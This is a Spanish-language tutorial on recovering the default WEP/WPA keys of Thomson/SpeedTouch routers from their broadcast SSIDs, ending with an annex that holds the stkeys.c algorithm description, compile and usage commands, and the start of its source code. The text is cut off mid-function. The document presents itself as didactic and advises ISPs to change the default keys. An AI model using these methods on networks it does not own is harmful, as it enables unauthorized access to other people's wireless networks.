1. Vulnerabilidad en Routers marca Thomson
Autor: José de Paz (Guatemala)
jose.depaz@gmail.com
Este documento pretende ser de forma explícita, la opción de poder obtener la clave WEP de
los router Thomson, en sus versiones 6 y 7, de las cuales he hecho pruebas satisfactorias.
Estos routers son distribuidos en Mexico por una compañia que presta los servicios de
internet, en España creo que por Orange, y en Guatemala por la empresa que ya conocemos,
y que es la principal en los servicios de internet residencial.
Bueno, sin mas preambulo vamos a las prueba, que pienso que es lo que mas apreciamos, si
es cierto es lo que mas aprecio cuando alguien divulga algo interesante sobre las redes
inalámbricas, aunque después me toque que leer la introducción. (claro esta que en
emergencias la introducción se pasa por alto, si, eso, el conocimiento hace que saltemos ese
paso)
Materiales:
1. Sistema Operativo: en este ejercicio utilizo Windows Xp.
2. Software: inSSIDer 2.0 http://www.metageek.net/products/inssider
Figura No1. Acerca de inSSIDer
Aunque también se puede utilizar NetStumbler, (utilizado por excelencia):
http://www.netstumbler.com/downloads/ (para las antenas caseras me ha servido mucho para
direccionar la señal)
2. 3. Tarjeta de Red Wifi: en este ejercicio he utilizado una marca Sabrent (vale también una
Alfa con chip Realtek 8187L):
Figura No 2. Propiedades Tarjeta Wifi con chip Realtek
4. Laptop: si, Porque? (despúes lo explico), con una bateria al 100% de carga y que dure
mas de una hora.
En que consiste?:
La vulnerabilidad o defecto de fábrica consiste en que, si observamos fisicamente estos
routers en la parte inferior, traen consigo una etiqueta donde esta el nombre del SSID por
defecto y su correspondientes claves WEP y WPA, que vienen siendo las mismas.
En la versión 6, el nombre del SSID que viene por defecto esta compuesto por la
siguiente cadena: SpeedTouch123456 y en la versión 7, esta cadena a cambiado por esta
otra: Thomson123456, denotando que los últimos seis caracteres son hexadecimales.
Resulta que conociendo estos caracteres hexadecimales, utilizando ingenieria reversa, se
puede llegar a obtener la clave WEP por default. Existe un programa desarrollado en C,
creado por él que hizo este estudio, el cual pueden encontrar en varios sitios:
http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-
routers/
4. el botón “Start”, que se encuentra en la parte superior derecha, con esto se inicia el “scan”:
Figura No. 4. inSSIDer con redes detectadas
Como se podra observar, hay 6 redes detectadas, y se nos muestra las caracteristicas de
cada una, como la dirección MAC, el nombre del fabricante, etc., pero la información que
nos interesa es el SSID y que el fabricante sea “Thomson”.
Ahora solo resta iniciar o reiniciar el router, y alli es donde nos muestra su defecto ( o
virtud), depende de que lado estemos para hacer la critica, procedo entonces a reiniciar el
primero que sale en la lista, y observar luego la siguiente figura. Se nos regala esa cadena
hexadecimal que necesitamos para luego aplicarla al programa stkeys.exe o cualquier otro
que mas nos guste, ya que actualmente hay hasta versiones GUI para aquellos que no son
adeptos al uso de la consola.
Entonces, para que una laptop con buena bateria, pues esto lo experimente en un día
lluvioso, cuando de repente se fue la luz (como se dice por aqui) y me quede a ciegas
trabajando con el reflejo de la pantalla, es esa ocasión la bateria estaba al 100%. Seguido,
como a la media hora, se nos hizo la luz, entonces iniciaron a resaltar también los bombillos,
la refrigeradora, los ventiladores, y entre ellos los ROUTERS marca Thomson, y asi fue
como buen observador vi de lo que la tarjeta WIFI se estaba alimentando.
5. Figura No 5. SSID inicial cuando se inicia el router Thomson
Figura No. 6. Usando WZCSVC para ver redes detectadas
6. Conclusión:
Llegando a este punto final, este ejercicio se aplica para aquellos routers en los cuales los
IPS no cambian la clave WEP/WPA que trae por default, bueno aca la critica desde el otro
lado, siendo yo un ISP tomaria en consideración lo siguiente:
1. Cambiar la clave WEP/WPA por default que traen los equipos de marca Thomson.
2. Siendo el punto 1 una vulnerabilidad, cambiaria los equipos que distribuyo con el
servicio, en este caso los routers de esta marca, por una versión sin esta
vulnerabilidad.
3. Sabiendo que esta vulnerabilidad se repitio en la version 6 y 7, mejor cambio los
routers por otra marca.
Esperando que este documento sea para uso didáctico y que sea de mucha utilidad no solo
para lo cual fue presentado, sino para tomar en consideración para cuando necesitemos
contratar los servicios de un ISP, de forma particular o como empresa.
Esta vulnerabilidad la descubri hace aproximadamente 3 años, porque anteriormente esta
empresa T*****, configuraba el nombre del SSID con el número de teléfono, por ejemplo:
si el número telefónico era: 78895678, este mismo número colocaba como SSID, y la clave
WEP/WPA era nada mas y nada menos que este número convertido en hexadecimal, con lo
cual quedaría así:
SSID: 78895678
clave WEP: 4B3DA3E
pero la clave WEP deberia ser de 64 bits, que corresponde a 10 caracteres hexadecimales y
al convertir el número telefónico solo obtenemos 7 caractares, entonces idearon esto:
agregar un 1 al inicio y 10 en hexadecimal al final, entonces la clave quedaria así:
14B3DA3E0A (“1” + “4B3DA3E” + “0A”)
Hoy si, termino, divulgar estos conocimientos y aventuras, en ocasiones nos trae
consecuencias, tales como que te llamen “hacker”, y sabiendo que la palabra “hacker” la
asocian como “delincuente”, pero para alguien maduro y con otra perspectiva sabe que
todos llevamos un “hacker” adentro. O acaso nunca te ha tocado arrancar tu vehiculo al
empujon!!
7. Anexo: Codigo fuente
Author: Kevin Devine <wyse101 0x40 gmail.com>
Date: April 2008
/*
************************************************************************
**
* *
* Default WEP/WPA key generation for Thomson series wireless routers *
* *
* Date: March 15th 2008 *
* Author: Kevin Devine <wyse101@gmail.com> *
* *
************************************************************************
**
AFAIK, this is a well known problem by some ISP.
It is likely to affect any owner of a Thomson wireless router with
default settings installed.
************************************************************************
**
The format of a serial number:
CP YY WW PP XXX (CC)
And from what i can tell of the following serial number taken from
router i received.
CP 06 15 JT 109 (53)
YY is the year produced. ( 2006 ) ?
WW is the week of year. ( some week of April ) ?
PP is the production code. ( JT ) factory code?
CC is the configuration code. ( 53 ) seems to be 00 - ZZ (0-9/A-Z)
I can only guess that the XXX values represent the unit number
************************************************************************
**
The key generation is simple enough.
Take as example: "CP0615JT109 (53)"
8. Remove the CC and PP values
"CP0615109"
Convert the XXX values to hexadecimal.
"CP0615313039"
Process with SHA-1
742da831d2b657fa53d347301ec610e1ebf8a3d0
The last 3 bytes are converted to 6 byte string, and appended to
the word "SpeedTouch" which becomes the default SSID.
"SpeedTouchF8A3D0"
The first 5 bytes are converted to a 10 byte string which
becomes the default WEP/WPA key.
"742DA831D2"
Thats it..
************************************************************************
**
I was unable to determine if its possible to obtain the base serial
number from the MAC, but it can't be ruled out.
The method of recovery here using brute force attack of the
default SSID octets, is pretty lame..but is enough for now.
Theoretically, with 3 octets, no more than ~2 attempts are required
before successfully accessing the router.
When only 2 octets are provided, (example:BT Voyager/Home Hub routers)
more potential keys are generated, with further required attempts -
an average of 80.
This still improves odds of an attacker gaining access
to WPA protected routers - more so if an attacker can capture a WPA
handshake and crack with Aircrack,Cain & Abel or offline with coWPAtty.
Obviously the problem is with implementation of key/ssid generation
and not WPA itself.
************************************************************************
**
9. The only solution _right now_ is to have customers either turn off wireless
(if its not being used), or change the default settings.
To compile, use:
gcc -fomit-frame-pointer -O3 -funroll-all-loops stkeys.c sha1.c -ostkeys
Use OpenSSL SHA-1 for this to run faster..
Example usage for ST585v6 router:
SSID: "SpeedTouchF8A3D0":
c:stkeys -v -iF8A3D0
Serial Number: CP0615**109 - potential key = 742DA831D2 <- this is the right one
Serial Number: CP0621**AHJ - potential key = 00651124D9
Found 2 potential keys.
*/
#include <stdio.h>
#include <getopt.h>
#include "sha1.h"
#define SHA1Init SHA1Reset
#define SHA1Update SHA1Input
#define SHA1Final SHA1Result
#define SHA1_CTX SHA1Context
typedef unsigned char u8;
typedef unsigned int u32;
const u8 charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const u8 hexTable[]="0123456789ABCDEF";
u8 serial[13]={'C','P','0',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
#define SERIAL_LENGTH 12
#define MAX_SSID_OCTETS 6
#define DEFAULT_KEY_SIZE 5
#define hexmsb(x)(hexTable[((x & 0xf0) >> 4)])
#define hexlsb(x)(hexTable[ (x & 0x0f)])
void usage(char **argv) {